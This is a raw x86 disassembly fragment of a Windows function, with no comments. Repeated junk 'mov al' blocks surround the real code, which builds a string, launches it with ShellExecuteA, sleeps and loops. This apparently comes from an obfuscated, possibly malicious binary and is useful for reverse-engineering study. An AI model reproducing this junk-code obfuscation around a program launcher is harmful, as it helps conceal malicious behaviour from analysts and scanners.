mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
movzx edx, byte [ebp - 0x231]
test edx, edx
jne 0x404197
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 0x40a11c
lea eax, [ebp - 0x378]
push eax
call fcn.00405720
add esp, 8
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 0x258]
push ecx
lea edx, [ebp - 0x378]
push edx
call fcn.00405720
add esp, 8
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 0x40a120
lea eax, [ebp - 0x378]
push eax
call section..text
add esp, 8
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 1
push 0
lea ecx, [ebp - 0x378]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
movzx eax, byte [ebp - 0x25d]
test eax, eax
jne 0x404343
cmp dword [ebp - 0x124], 0
je 0x404343
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 0x231], 1
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x4031e1
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret 0x10